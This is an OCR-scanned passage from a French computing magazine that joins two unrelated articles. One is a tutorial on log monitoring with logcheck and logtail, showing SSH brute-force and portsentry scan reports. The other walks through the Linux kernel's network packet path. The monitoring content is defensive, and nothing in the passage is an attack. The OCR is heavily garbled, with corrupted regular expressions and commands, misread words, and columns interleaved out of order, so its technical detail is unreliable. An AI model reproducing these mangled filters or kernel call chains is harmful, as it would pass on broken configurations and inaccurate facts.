nant que le nom de lutlisateur local) des mails
sortants. Dans notre cas, megak . f

® Le nom de la machine qui sera envoyé au
concentrateur de mail.

® Er enfin, la derniére configuration
concerne la possibilité ou non que vous
pouvez laisser aux utilisateurs de |a
machine de réécrire les champs From des
mails qu'ils envoient. Mous mettrons MO
Maintenant, la machine est capable d'en-
vayer (et uniqguement, elle n'en recevra
pas) des mails via un serveur qui servira de
relais. Un petit exemple d'envoi de mail en
ligne de commande

H mail cedfres. I
LT . - e

=l _:':':_ il

ITpSs du aga

Et je regois bien le mail dans ma boite.

Installation de logcheck

La machine de test est une machine sous
Debian Sarge. Cela n'aura qu'une incidence
mineure sur ce qui suit. Regardons mainte-
nant ce quil est necessaire d'installer pour
obtenir logcheck

root@:-# apt-get -z install
logcheck
listes de
Fait
de l'arbre
Fait

Lecture des
paguets. ..

Construction des
dépendances. .

\

———

——————
——ﬂ__
S ———

ellier ses mac!




Les paguets supplémentaires

suilvants seront

x -
installes' 3

logcheck-database logtaill
Les

HOUWVEALX paguebs sul

vants seront installés

ogcheck logcheck-database

logtail

0 mis & jour, 3 nouvelle-
ment installés, 0 & enlever
et 983 non mis & jour.
Inst logtail |

1.2.34 Debian:testing)
Inst logcheck-database |

1.2.24 Debian:testing)
Inst logcheck |

1.2.34 Deblan:testing)
Conf logtail

1.2.34 Debian:testing)
Conf logcheck-database |

1.2.34 Debian:testing)
Cont logcheck |
1.2 .34

Le paquet Debian de logcheck est accompa-
gneé de deux autres paquets :logcheck-dam-
base et lograil. Le paguet logcheck-database
content les fichiers qui vont étre utiles au fil-
trage des fichiers de log. Mous verrons un peu
plus loin 'erganisation et le contenu de ces
fichiers. Le paquet logtail quant & lui, contient
un outil permettant de positionner des mar-
queurs dans le fichier de log afin de ne relire
que les parties nouvelles. Voyons par ['exem-

Démo logtail
2 gudo logtail A
-f /var/log/fauth.log
Mar 5 23:X1;
lys sshd[3058]:
hocepted keyboard-inter-

15 megalocche

active/pam [or sydore

E ]
+

from

33746 ss3
Mar - 15 megaloche-
lys ssh(pam_unix) [3065]:

for

fuid=0}

session opened

user

sydore by

Mar 5 231:11:38 magaloche
lys sudo:
gydore TrY=ptell ;

FWD=/home/sydore ;
USER=rocot ;

COMMAND=/usr/sbin/logtail

-f /var/log/auth.log
Dans ce log nous voyons gue l'utilisateur
sydore s'est connecte en ssh depuis une
machine du sous-réseau prive. MNous
voyons également que la commande sudo
a éré utlisée pour exécuter une com-
mande (la meéme gque celle que nous
venons de taper).

Réitérons la méme commande

§ sudo legtail -IL

fvar/log/auth.

log

e
o

tail reprend la lecture du fichier a partir de
la marque qu'il a place. Dans notre exem-
ple, aucun nouvel événement, donc aucune
autre sortie.

Ce mécanisme va permettre de ne pren-
dre en compte dans les fichiers de log que
les parties non encore traitees, tout en
gardant les fichiers de log intactes.

logcheck-database

Mous avons de quoi envoyer des mails,
nous avons de quei analyser les logs pour
ne retenir que les nouvelles entrées. |l ne
nous mangue plus que la possibilité de fil-
trer ces nowvelles entrées pour n'en rete-
nir que les pertinentes. Cette partié sera
assurée par le paguet logcheck-database.
Ce paquet n'est rien de plus qu'une liste
de fichiers permettant de définir les diffe-
rentes expressions regulieres pour retenir
les lignes utiles dans les fichiers de log.

Deux categories de fichiers : ceux qui
définissent des expressions a trouver dans
les log (les fichiers que I'on trouvera dans
les répertoires /etc/logcheck/cracking.det
letc/logchecki/violations.dpar exemple) et
ceux qui définissent des expressions a
ignorer dans les fichiers de log (les fichiers
se trouvant dans les répertoires dont le
nom contient ignorecomme ignore.dou
violations.ignore.d). Les fichiers se trou-
vant dans le répertoire crackingdsont les
filtres permettant de reconnaitre une «
attaques alors que ceux se trouvant dans

ple comment fonctionnent ces deux parties.

logtail

Onvoir dars lencadre ci-contre le résultat que nous
rervoie kogtil sur le fichier de log des connesxdions.

Cette fois-ci, aucun affichage. Ce qui s'est
passé :lors de I'exécution de notre com-
mande précédente (le premier appel a log-
tail). lograil a extrait des lignes du fichier
de log et a placé un marqueur en fin de

fichier de log. A l'exécution suivante, log-

violations.dsont utilisés pour repérer les «
alertesy de sécurite.

Les filtres fournis par le paguet logcheck-
database sont organisés en trois catégo-
ries. A chaque catégorie correspond le
niveau de surveillance que vous voulez
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adoprer pour la machine i surveiller. Ces
niveaux sont workstation, server ou para-
naid. Comme leur nom [indique, chaque
mode est adapté a [lutilisation de Ia
machine. Une station de travail ne contien-
dra que peu de données sensibles contrai-
rement a un serveur, il sera donc possible
de mettre en place une politique de filtrage

prenant en compte mains de messages. Par
contre le mode paranoid sera utilisé pour
les machines sur lesquelles une attention
toute particuliere doit étre portée.

Voyez par exemple les différences entre les
versions du fichier ssh se trouvant dans les
repertoires serveur et paranoid dans |'en-
cadre ci-dessous,

Différencers entre le mode paranocid et le mode serveur

sydoreBmegalochelys:

~5 sudo more

/ete/logcheck/ignore.d. server/ssh

“vwi{i} :0=-9]1{11} [._[:alnum:]-}J+ sshd\[[0-9]+\]:
hccepted (gssapilrsaldsa|password|publickey |keyvhoard-
interactive/pam) for [~[:space:]]+ from [*[:space:]]+
port [0-9]+ (sshlssh2)}$

“WwWidp [ 20-9]{11} [..[:alnum:]-]+ sshd\[[0-9]+\]: PAM
pam_putenv: delete non-existent entry; [[:alnum:]]+$

“"wi{ld} [ :0-9]1(11} _[zalnum:]-1+ =shd\[[0-9]+\]: Server
listening on [.0-%]+ port 22\.%

“A\wi{3) [ «0-9}{11} [.-_[:alnum:]-}+ sshd\[[0-9]+\]: sub-
system reguest for sftps

{2} [ =31{11} [._[=alnum:]-]+ sshd\[[0-9])+\]:
Recelved disconnect from [.0-9]+: [0-9)+: Client dis-
connect

“\wi3} :0=-9]1{11} [._[:alnum:]-]1+ sshd\[[0=-9]+\]:

Feceived disconneck from

l[J_

«J11{7,158}: [0=9]+:

Disconnect reguested by Windows SSH Client\.$

e gk B R 1 A B 5 B SRR
gin_perform_logout:
it 0 IR e e S
nes_ldap: reconnect
after

sydoremegalochelys: -
/etec/ logcheck/ignore
St 2d | foiel=-8300 b [

k1

ralrum: ] -1+
logouch (V)
ralnum: ]
{ingled)
[0-9]+ attemptyi(sy))s

sshd\ [[0-9]+\ Byslo-
returned an errors
sshd\ [ [0=-9] +
Lo LDAP server(\.%v.\.|

1+

sudo more
ﬂ purunu1df
a1l

]~]+ sshd\[[0=9]4+%]

vipam_[[:aloum:]]+\) session opened for user
[[:alpum:]=]+ by \(uid=[0-9]+\)8

“MWe{3} [ :0-9]{11} [._[:alnum:]-]+ sshd\[[0-9])+\]:
Vipam_[[:alnum:]]+\) session closed for user

cralnums: ] -1+5%
sydore@megalochelyg: -5

dre en compte, ce n'est pas de ce coté que
nous aurcons a intervenir pour affiner les
réglages de logcheck. En effer, les fichiers
definissent les filtres nécessaires a la prise
en compte des informations importantes,
voire meéme des informations moins
impaortantes. Laffinage consiste 3 ajouter
des filtres afin d'ignorer certaines de ces
informations.

Reprenons l'exemple contenu dans le
fichier ssh

“\wi{3) [ :0-9]{11}
[._[zalnum:]=]4
gshh(pam_[[:alnum:] )+ \

LLO=-9]+%] :
session opened for user

[[:alnum:]=-]+ by
(uid=[0-9]+\) 5
“Nwi{3} [ :0-9]{11})

1-]+

[[zalnum:

_l:alnum:
ssh' (pam_
[0-9]+\]:
sesslon closed for
[[:alnum:]-]+%

BEAP A

user

Le premier filtre (défini dans la premiére

ligne) sert a eliminer les lignes dans les log

qui sent de la forme

® "“\wii) un mot compose de 3

caractéres alphanumerigue (des chiffres ou

des lettres). Ceci equivalent a
[:alnum:]){3}.

®[ :0-9]{11} : un chaine de caracteé-

res de longueur || composée soit d'espa-

ces, soit de deux points soit de chiffres.

®[. [: -1+ : une chaine de

caracteres d'une longueur supérieure ou

egale i | et composée soit de points, soit

de underscores, soit de caracteres alpha-

nuMeriques ou soit de tiret.

® sshh

Bst

alnum:

{parm [ [

calmum: J1+5) 5[ [0-

Sans comprendre ce que signifie chacune de
ces lignes (voir la section suivante pour cela),
nous pouvons deja constater moins de lignes
dans la configuration parancid. Par consé-
quent, plus de messages apparaitront dans le
rapport envoyé par logcheck dans ce mode.

Les expressions de flitrage

Mous vencns de voir que des fichiers de
filtrage sont fournis par logcheck-database,
regardons de plus prés ce qu'ils contien-
nent. Nous ne nous attarderons pas sur les
fichiers définissant les lignes de log a pren-

'_-I]+'._|
user [ [ =& lmual

A=[0-9]1+\) 5

opened for
n:)-]+ by
Yoluic : une chaine com-
mengant par sshsuivi d'une parenthése
ouvrante, puis de pam_lui-méme suivi
d'une chaine (de longueur supérieure a 1)

SEes5s810n



de caractéres alphanumeriques, suivi d'une
parenthése fermante puis de crochets
ouvrant et fermant entre lesquels il y aura
un nombre. Vient ensuite la chaine : session
opened for user suivi d'une suite de carac-
téres alphanumeriques dans laquelle peut
également se trouver des tirets. Pour finir,
on trouvera by , suivi entre parenthéses de
la chaine constituée de uid=et d'un nombre.
Si wous voulez en savoir plus sur les
expressions regulieres que vous pouvez
écrire, vous pouvez vous referrer a la page

23 heures sur i net_

Il esc 23h00. Branchons la machine directe-
ment sur le net (sans firewall) pendant 23
heures et regardons ce qui se passe..

23 heures, 23 messages envoyes par log- |

check. Rien & signaler pour le premier et
les onzes suivant  de simples messages

me signalant les événements systémes |

(System Events, repérable dans le sujet des
messages que je recais). | 1h02 le lende-
main matin, je regois un mail « Securicy
Eventsn (j'ai remplacé l'adresse IP de la

de manuel du grep.

Rapport « Security Events » de 11h02

source par XX X). Veir en encadré.

Security Events

- =

Mar 9 10:49:15 megalochelys sshd[11327]: Failed password
for nobody from X.X.X.X port 61142 sshi

Mar 9 10:49:1% megalochelys sshd[11332]): Failed password
for illegal user patrick from X.X.X.X port £1421 ash?

Mar 9 10:49:20 megalochelys sshd[11336]: Failed passwora
for illegal user patrick from X.X.X.X port 61886 sshl

Mar 9 10:49:24 megalochelys sshd[11346]: Failed password
for root from X.X.X.X port 623236 sshl

Mar 9 10:49:25 megalochelys sshd[11350]: Failed password
for root from X.X.X.X port 62704 sshi

Mar 9 10:49:28 megalochelys sshd[11355]: Failed password
for root from X.X.X.X port 62871 ssha

Mar 9 10:49:30 megalochelys sshd[1135%): Failed pAassword
for root from X.X.X.X port 63357 sshi

Mar 9 10:49:34 megalochelys sshd[1136%]: Failed password
for root from X.X.X.X port 63663 sshd

Mar 9 10:49:35 megalochelys sshd[11373]): Failed password
for illegal user role from X.X.X.X port 60021 =sh2

Mar 9 10:49:44 megalochelys s=hd[113B8]: Failed password
for illegal user iceuser from X.X.X.X port 6l10BB ssh

Mar 9 10:49:46 megalochelys sshd[11392]: Failed password
for illegal user horde from X.X.X.X port Bl7&67T sshi

Mar © 10:49:49 megalochelys sshd[11397]: Failed password
for illegal user cyrus from X.X.X.X port 62024 ssh?

Mar 9 10:49:51 megalochelys sshd([11402]: Failled password

' for illegal user www from X.X.X.X port 62578 ssh2

Mar 9 10:49:54 megalochelys sshd[11406]: Failed password
for illegal user wwwrun from X.X.X.X port 62058 szhi

Mar 9 10:49:56 megalochelys sshd(11416]: Failed password
for illegal user matt from X.X.X.X port 63444 esh2

Mar 9 10:49:59 megalochelvs sshd([11420): Failed password

for

5 minutes de tentative de connexion ssh provenant de la méme machine en utilisant dif-

illegal user test from X.X.X.X port 6i7BB

ferents ports, et differents login...

Le mail suivant est un mail « Security Alertss (I'origine provient cette fois-ci d'une autre adresse

IP remplacee par Y.Y.Y.Y).Voir encadre,

ssha

y

Rapport « Security Alerts » x

Security Alerts

R

Mar 9 11:09:48 megaloche-

lys portsentry[&4l]:
attackalert: Connect
hosk: - . Y. ¥ /T . et
TCP port: GB6ET

Mar 9 11:09:48 megaloche-
lys portsentry|[6dl]:
attackalert:

from
4

Ignoring TCP
response per configuration
file setting.

Mar 9 11:14:1&6 megaloche-

lys portsentry[641]:
attackalert: Connect
hoat ¢ Yool No iy o vilnd
TCE port: 6667

Mar 9 11:14:16 megaloche-

lys portsentry[64l]:
attackalert: Host i ¥ Y. ¥uY
is already blocked.
Ignoring

f rom
o

Certe-fois ci les messages sont issus de
I'outil portsentry qui est un daemon per-
mettant de détecter les scan de ports.
Apparemment quelqu'un a scanné les
ports de ma machine pour je ne sais quelle
raison... ;=)

Conclusions de ces 23 heures on-ine

il se passe pas mal de chose sur une
machine branchée en permanence sur le
net. | me semble judicieux d'au moins se
tenir au courant des differentes « arta-
quesy que subit votre machine.Voila pour-
quoi logcheck semble un outil simple et

| facile 4 mettre en !uvre pour effectuer

cette tiche. Pensez égalament a alimenter
les fichiers de log en installant ce qu'il faut,
comme portsentry icl.

Siyeone
TEAM ACISST

y.
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Introduction.

Dans cet article, nous allons
vair comment est implémen-

tée la gestion réseau dans le
noyau Mous allens
essayer danalyser globalement
le code du noyau pour com-
prendre comment, des peri-
phériques aux sockets, nos
paguets transitent aux travers
du noyau. Bien entendu, nous
nous appuierons sur des etu-
des de cas, car |a gestion com-
plete représente la bagatelle
d'un million de lignes de code
C environ, et il est évident que
nous Ne pourrons pas en cou-
vrir I'ensemble dans un artcle

Linux.

de cette taille.

Les sources du noyau étudiées
seront celles d'une version
266 (disponibles 3 l'adresse
I DWW . KEernel. o -::_]'-
CEpendanL les modifications
d'une version a l'autre restent
mineurs, et le fonctionnement
reste le méme. On considérera
que le lecteur possede deja
des connaissances au sujet des
reseaux et des protocoles en
general,

—\d

Yoyage av centre du Kernel

Des programmes a la carte réseau, les donnees parcourent
un long et complexe chemin avant d'atterrir sur le réseau.
Dans cet article, nous allons tenter d'examiner ce cheminement
dans Linux, et voir comment deux applications peuvent discuter

entre elles.
telle que net/core/dev.c corres-
pondra au fichier

fusrisredlinux/net/core/dev.c,

Mous allons essayer de voir les
principes fondamentaux de
I'implementation en tentant
d'expliquer au fur et & mesure,

La theorie

Comment tout cela fonec-
tionne ! Pour commencer,
examinons dun point de vue
théorigue un paquet lorsqu'il
arrive sur notre peéripherique
réseau (une carte ethernet

par exemnple).

Prise en charge d'un
paquet entrant

La carte ethernet récupére le
paquet, puis informe le noyau
(via une interruption), quun
paguet est arrive et que le
noyau devrait le traiter. Le
noyau prend connaissance de
larrivee du paquet et recu-
pere celui-ci. Puis le noyau va

recherche dans sa liste de
handlers |pardonnez mol pour
cet anglicisme que je ne saurais
traduire), le handler corres-
pendant a ce protocole.

Une fois celui-ci trouve, il lui
passe le paquet, le handler cor-
respondant, va maintenant
devoir le traiter. Le traitement
consiste a trouver |a socket a
laquelle est destine le paguet
et de verifier la validité de
celui-ci, Il devra de plus
extraire les donneées conte-
nues dans le paquet. Une fois la
bonne socket trouvee, le hand-
ler doit rajouter le paquet i |a
liste de paquets de la socket et
informer celle-ci que des
paguets sont disponibles (si ce
n'est pas déja fair). Les fonc-
tions découlant de l'arrivee du
paquet sur notre périphérique
sarrétent ici.

Maintenant, si un programme

desire lire des donnees dans
| une de ses sockets (via un
| appel systéme), que va-t-il se

nées associées dans l'espace
utilisateur (accessible par le
processus qui a réalisé l'appel
systéme.). 5i aucun paquet
n'est disponible, selon que la
socket et bloquante ou non,
lappel systeme va attendre
I'arrives d'un paquet ou se ter-
miner en renvoyant le code
retour correspondant.
Poursuivons avec ce qu'il se
passe lorsque l'on soubaite
envayer un paquet

Paquet sortant

Un processus utilisateur invoque
un appel systeme (sys_ write par
exemple), en fournissant le des-
cripteur de la socket precedem-
ment ouverte, ainsi que le mes-
sage a transmettre. Le noyau
appelle alors la fonction relative
a lécricure dans une socker
Certte fonction va determiner, en
fonction du type de socket qui a
ete ouverte, le cheminement du
message. Va sen suivre un
ensemble de foncrions dont le

Mote : Toutes les references a
des fichiers sources seront relati-
ves au répertoire principal des
sources du noyau. Si les sources
sont localisees dans
fusrisrellinu, alars une réference

commencer par déterminer le
protocole concerne par ce
paquet. Une fois ce protocole
faut maintenant
savoir par ol le paquet doit
étre achemine. Pour ce faire, il

trouve, il

passer ! Et bien, c'est trés sim-
ple. Le noyau va commencer
par regarder si des paquets
sont disponibles sur |a socket
concernée, et si c'est le cas, il
va les lire et renvoyer les don-

role va étre de créer le paquet
en ajoutant les différentes entétes
specifiques a chaque protocole.
Une fois que notre paquet sera
prét, le noyau va devoir infar-

mer le périphérigue réseau

e ——
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qu'un paquet est disponible et
qu'il souhaite que celui-ci soit

transmis. Pour ce faire, il va la
aussi declencher une interrup-
tion qui va étre attrapée, par
notre driver. Le peripherique
sait maintenant gqu'un paguet
est 4 transmettre et il s'occupe
alors de son traitement (de
SOMN envoi).

Etude du code sources

La oil tout commenca ..

Au démarrage de notre O5
adore, la fonction
net dev init() (net/core/dev.c)
est appelée. Son role est le sui-
vant :

# Initialisation des wvariables

Pour y woir plus clair, voici
guelgues notes :

I ptype all et ptype_base sont
nos fameux handlers. ptype_all
sert a stocker les handlers
associés A tous les protocoles.
Par exemple, si l'on souhaite
que quelgue secit le paquet
arrivant, celui-ci passe par
notre handler, ¢'est un handler
de ce type qu'il faudra déclarer.
ptype_base[] lui concerne les
handlers associés a un type
particulier de protocole. Par
exemple, dans le cas d'IR la
liste des handlers associés sera
accessible via
ptype_base[ETH_P_IP&I15].
ptype_all est une liste chainée

structure (il y en a une par
processeur), qui va permettre
de dialoguer(de se faire passer
les paquets) entre le driver
réseau et le noyau. En fait, c'est
dans celle-ci que le driver pla-
cera les paquets regus avant de
déclencher linterruption et
c est dans celle-ci que le noyau
ira les chercher.

I La declaration des interrup-
tons se fait par la fonction
apen_saftirg(). Cetre fonction
permet dassocier une fonc-
tion a une interruption. Dans
notre cas, il y a deux interrup-
tians qui doivent étre enregis-
trées. Une interruption pour

I'arrivée d'un paquet

De cette fagon, lorsque l'inter-
ruption NET_RX_SOFTIRQ
sera déclenchee, la fonction
net_rx_action sera appelee. A
contrario, lorsque l'interrup-
tuon NET_TX_SOFTIRQ sera
declenchee, c'est la fonction
net_ T action qui sera appe-

=

[

Pratinue : Eude de cas
MNous disposons d'une
machine Linux A, équipée

d'une carte echernet utilisant
le driver

eepro |00
(drivers/net/eeprol00.c). La
machine a boote, le driver a
&té chargé (via un module ou
directement dans le noyau) et

ptype_all et ptype_base.

® Initialisation des structures
softnet_data.

#® Déclaration des interrup-
tions.

d'handlers, alers que
ptype_base est un tableau de
listes chainees ou chaque
entree du tableau représente
un protocole particulier.

I softnet data est en fait une

(open_softirg(MET_RX_50F-
TNRQ, net rx action, NULL))
et une pour signaler gqu'un
pagquet est prér 3 étre envoyé
{open_softirg{NET_TX_50F-
TIRQ, net_tx_action, NULL)).

e réseau a été configuré de fagon
a ce gue notre machine A puisse
communiguer avec  notre
machine B possédant la meme
configuration. On désire que nos
deux machines communiguent




via le protocole TCR. On consi-
dére la communication comme
établie (la poignée de main en
3 temps propre au protocole
TCP a déja été réalisée) entre

nos deux machines, nous
allens voir ce qulil se passe
lorsque notre machine A
envoie des données a notre

machine B.

Création de la socket

La creation de la socket est
implementée par un appel sys-
téme sys_socket()
(net'socket.c). Cet appel sys-
téme va COmMEencer par créer
un objer abstrait de type
socket (includeflinux/neth) et
renverra le descripteur qui lui
est associe. Pour créer cet
objet socket, il va appeller la
fontion sock_create()
(net/socket.c). L'objet socket
est alloué, il s'agit maintenant
de remplir les champs de cette
structure en fonction du type
de socket désirée. Cerre fonc-
tion va consulter la liste de
pointeurs net_families
(net/socket.c). Cet objet est en
fait un tableau de pointeur sur
des structures de type
net_proto_family (Il est initia-
lisé par la fonction sock_regis-
ter()).

La famille {ou le domaine)
d'une socket représente en fait
la fagon dont on désire com-
muniquer (Socket UNIX,
Socket IPV4, Socket [PV,

Socket IPX, ..). La structure
net_proto_family contient un

pointeur sur une fonction
create, qui se chargera de la
création de la socket voulue,
Dans notre exemple, nous
desirons créer une socket de
la famille PF_INET, la fonction

create qui sera appelée sera
donc net_families[PF_INET]-
>create(), soit la fonction
Iinect_create(|)
(netfipvd/af_inet.c).

Jetons un cell 3 kb structure
net_proto_family associée 3 b
amille PF_INET (netfipvdiaf inet.c):
SCruct
net_proto_family
inet_family_ops =
Tamlly =

Meaus

appelons danc

inet_create(), en lui passant en |

parameétre le protocole

(représentant le protocole de |

la famille choisie -
inet_create() wva créer une
deuxieme structure abstraite,
de rype sock
(include/net/sock. h) associée 3
notre objet de type socket
Mous avons donc deux struc-
tures importantes. La pre-
miere est la structure socket
et la deuxieme est la structure
sock (accessible par [|'objet
socket via le champ socket-
>sk). Mous ne descendrons
pas plus dans la fonction
inet_create(). On se conten-
tera de dire que celle-ci va consulter
inersw qui est un @bleau de poin-
teurs sur des  structures
inet_protosw{net/protocol.h).

Cette structure contient tou-
tes les informations nécessai-
res a la création d'une socket
via inet_create(). Ses deux
champs les plus importants
SONt prot et ops respective-

| ni—
———

ment une structure de type
proto et une structure de type
proto_ops. La  premiére
contient les information rela-
tive au protocole en lui méme
et la seconde, les opérations
{les fonctions) associées au
protocole concerne. Eclaircis-
sons tout cela avec notre
etude de cas.

voulons créer une
socket de type TCP
inet_create() va donc initiali-
ser nos deux structures socket
et sock avec les informations
relatives au protocole TCP Elle
finira par appeler sk->sk_prot-
>init(sk), soit
tcp_v4_init_sock, qui corres-
pond i la fonction d'initialisa-
tion des sockets de type TCP
Bref, cet enchainement de
fonctions va aboutir 3 la créa-
tion de notre objet socket et
de notre objet sock qui
contiendront alors toutes les
informations et fonctions asso-
ciées au traitement des
paquets (I'envol, la réeception,
l'initialisation, la connexion, etc
-.). Les autres appels systéme
désirant réaliser des opéra-
tions avec notre socket, nau-
ront donc qu'a cansulter ces
deux structures pour savoir
quelles sont les fonctions qui
devront étre appelées.

Mous

Voir le schéma synthétique
expliquant, a l'aide de notre
| exemple, la création d'une
socket TCP

Connexion de la secket

Mous n'allons pas nous éterni-
ser sur [implémentation de
l'appel systéme sys_connect()
(net/socket.c). En fait, celui-ci
va se contenter dappeler
sock->ops->connect.  Yous
comprenez maintenant |'im-
portance de |'initialisation de Ia
socket. Dans notre exemple, |a

fonction

appelée sera
tcp_v4 _connect()
(net/ipvditcp_ipvd.c). Certe

fonction se chargera de reali-
ser la poignée de main en trois
temps propre au protocole
TCP Etant bien trop spécifi-
que, NoUs NoUs arréterons ici
sur l'implementation de cet
appel systéme,

La machine A envoie le
paquet TCP

Le processus utilisateur com-
mence alors par réaliser un
appel systeme de type
sys_write() (fs/read_write.c)
sur la socket quil a2 ouverte.
sys_write() va récupérer une
structure de rtype file
{include/linux/fs.h) associée au
descripteur passé en argu-
ment. L'appel systéme appel

Création d'une socket (exemple: TCP)

En rouge, les appels de fonction ées b nobre swemple
sys_socket() sock_create(family, type, protocol, ...)
Sys_socket() ¥ sock _create[AF _INET, 50CK_STREAM, IPPRO

illocation de la structure socket
negn indtializde nomme sock

sock->type = type:

Appal de

net_Families[family]-=createl sock, protoceds

sock->type = SOCK STREAM

net_famibies{AF_INET]->createlsock, IPPROTO_TCP)

net_Families
Tableau do pairtewrs sur
structures net_proto_Family
—#- net_families[AF_INET] = inet_family_ops
nt_Families[AF UNDO = unix_Farmily ops
ret_Ffamilies[AF 1PX] = ipx_family ops




alors vfs_write()
(fs/read_write.c) avec plus ou
moins les mémes options. Sous

Linux tout le monde sait que

tout est fichier, le systeme de |

fichier virtuel (vfs) considere
donc guune socket est un
fichier. vfs_write(), va appeler
la fonction d'écriture relative a
ce type de fichier : file->f_op-
>write(), qui correspond dans
le cas d'une socket a la fonc-
tion sock_writev qui appelle
sock readv_writev() qui
appellera a son  tour
sock sendmsg() (net/socket.c).
Cet enchainement de fonction
n'est pas trés important le
tout est de savoir que l'appel
de sys_write() sur une socket
implique fppel de sock_sendrmsg).
sock_sendmsg() va appeler
sock->ops->sendmsg, soit la
fonction inet_sendmsg
(net/ipvd/af_inetc). Cette
fonction est appelee dans le
cas de tep ou d'udp. |l s'agit de
la fonction associée i l'envoie
de messages des sockets dont
la famille est PF_INET.

Continuons dans le cadre de
notre exemple. inet_sendmsg
appeler  sk->sk_prot-
>sendmsg. Au moment de ['ini-
tialisation, on a vu que cetre

W

tion de ce protocole sera donc |
tep sendmsg() (net/ipvditcp.c).
C'est dans cette fenction que
notre structure sk_buff va |
étre créée, Cette structure
mérite une petite minute d'at-
tention.

L'appel de tecp_sendmsg() va
allouer notre paguet sous la
forme d'un sk_buff (voir enca-

dré). Puis appellera un ensem-
ble de fonctions relatives a |

TCP pour construire notre
sk_buff. Aprés tout un entrela-
cement de fonctions fastidieu-
ses (l'implementation du pro-
tocole TCP est TRES compli-
quée), la fonction tcp_trans-
mit_skb() (netfipv4/tcp_out-
putc), va construire le header
TCP, puis appellera tp-
>af_specific->queue_xmit(}),
soit ip_queue_xmit()
(net/ipvd/ip_output.c) pour le
protocole TCP. |
ip queue xmit{) va créer le hea- '
der IP et déterminer ol le paquet
doit &tre transmis (route).

Pour ce faire il utilisera une
structure ri_table(include/net/
route.h) et appellera la fonc-
tion output associée a la dest-

nation choisie (voir

la Arvcture sk_buff

Lo structure sk_buff définie dons include,/linux/skbuft.h est lo structure
qui va représenter un paquel. C'est cette struclure qui passera de fonction
en fonction, pour arriver finolement ou driver du périphérique réseau. Je
ne sourai que frop vous conseiller de jeter un oeil o cette structure. Son
gtude est bien trop longue paur que nous puissions nous y ottarder. Notons

simplement quelques chomps Irés importonts de cetfe structure. Les trois
unions h, nh et mac sont respectivement des pointeurs sur les entétes des
prolocoles uilisés. h sera un pointeur sur le header correspondant au pro-
tocole de fransport (fcp, udp, ...), nh sera un pointeur sur le header comes
pondani au protocole réseaulip, ipx, -..) et mac sero un pointeur sur le heo-
der de linison (ethernet, .. ).

>hh_output(), S0it
dev_queue_xmit()}
(netfcore/dev.c).
dev_queue xmit) va rajouter le
nouveau paquet a la liste d'attente
du périphérique réseau conceme
er IMvoCqUera :

" d | 5 ¢ “SpaaEl )
(include/net/pkt_schedh)  sur
celui-ci. gdisc_run() va alors appel-
ler gdisc_restart()
inet'schedisch_peneric.h) @nt que
le paquet n'aura pas eté transmis.
qdisc_restart() se contentera
de remettre le paquet dans la
liste et de declencher [inter-

| ruption NET_TX_SOFTIRQ,

et ce, tant que le device n'aura
pas traité le paquet. Le déclen-
chement de linterruption sera
realise

va gerer le paquet La partie sui-
vante sort donc du cadre de cet
article. qdisc_restart() appelera :
dev _queue_xmit_nit()
(net/core/dev.c). Cette fonction
est importante, car c'est elle qui
va dispatcher les paguets dans
les différents handlers généraux.
Vous comprendrez son utilite
plus tard lors du passage a la
pratique. A noter simplement
que cette fonction est appelée
dans les deux cas, qu'il s'agisse
dune réception ou d'un envoi
de paquet Motre machine A a
done finalement envoye son
paquet sur le réseau.

La Machine B recoit le paquet

| Le driver chargé de la gestion

Inetfipvdiroute.c). La fonction par un appel & | denotre carte reseau regoit le
objet sk avait éré initialisé en = sera en l'occurrence ip_out- | netif_schedule() | paquet |l invoque alors
fonction du protocole TCP La = put() (net/ipvd/ip_output.c). | (include/linux/netdevice.h). netif_rx() (net/core/dev.c).
fonction découlant de l'utilisa- | Pour finir b fonction appellera hh- | A partir de I3, cest e driver qui | Dans notre exemple, on

inet_create{sock, protocol)
»inet_create{sock, IPPROTD_TCP)
allocation d la struchere de type sock
Partourts de la gt et b la recherche
dune pairs (sock->type. protocol!
correspondant b la demnande. siruck inet_protosw = {
wock-=ops reqoi la struchars contenant e w'ms'“_r“
bes Fonctions relatives au protodol soubbits. protocel = IPPROTO
Affeckation de la structure sk de bpe sock vis prot = Licp_prot.
bes Fonviions © soch_init_datad) =t e T LS e
e e g e i e ¥ La socket est crééde salan son Dype

et sw
Tableau non mdewe de pointews
sur shructure & ivel_protosw
b ez O
vetiwil]
gininst proto family ips_family_sps = { vt 2]
iy = PF_IP
e, ol m g _create,
o= THES,_ MODULE,
¥

Les fonctions telles que : I'envoie
ou la réception sont affectées a la

socket.
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constate que la fonctian
netif_rx() est bien appelée
(drivers/net/eeprol 00.c).
Celle-ci va sortir le paguet du

device et le placer dans la liste

de pagquet du processeur
concerne. Elle appelle ensuite
netif_rx_schedule()

{includeflinud/netdevice.h), qui
va declencher linteruption
MNET_RX_SOFTIRQ.

En découle alors l'appel 4 la
fonction net_rx_action()
(net/core/dev.c) associée 3
cette interruption comme
nous avons pu le voir dans le
chapitre concernant l'initialisa-
tion. net_rx_action() appellera
a son tour dev->pall{) , soit la
fonction process_backlog()
(net/core/dev.c). Cette initiali-
sation est realisée lors du
démarrage par la fonction
net_dev_init(), comme nous
'avons wvu  plus  haut,
process_backlog() va pour
chaque paguet en attente, ['ex-
traire et appeler la fonction
netif_receive_skb{()
(net/core/dev.c). Cette fonc-
tion est tres importante, puis-
que c'est elle qui va dispatcher
le paquet dans les différents
handlers. C'est denc ici, que
notre étude de cas commence.
Toutes les fonctions précé-
demment décrites étaient des
fonctions genériques appelées
independamment du proto-
cole utilise. Le reste de la des-
cription sera donc spécifique a
notre exemple et donc au pro-
tocole TCP. Notre paquet uti-

lise le protocole IP c'est donc
la fonction ip_rev() qui va étre
appelée. Celle-ci va se charger
de différentes vérifications,
ainsi que de linitialisation de
certains pointeurs de notre

MacHine &

Sy raadl)

Mac ine &
. write( )
file-=f ap-=write = sock aéngtl )
sock sendmsgl)

sock->0ps->sendmsgl) = inet sendmsgl)

tcp_data_gueue(), skb_tall(), sk_data_ready()
tcp_rov_established()

sk->sk_prot-=sendmsgl) = tcp_se

tcp wid_do rowl)

nidemsgl )

tep _transmit_skbi()

inat_protos [TCP&LS)->handler() = tcp_vd_rovl)

tp-=af_specific-=queus_smit() = Ip_quews_xmil(}

| ip local deéliver ﬂnnsh[]

Ip_outpull)
dind queaue amiti)

Ekh >dst- :mpurr] = o local delhvar)

ip_revi) > ip_route_input()

qdisc_runi) > qdisc_restart()
Inberruption NET_Tx_SOFTIRG

relil_recene_skbl]

fppel de delver_skb() pour
chagque handlér comrespondant
ptype_base [PEL5] -=funci)

Handler dinternueption
niet_te_actioni)

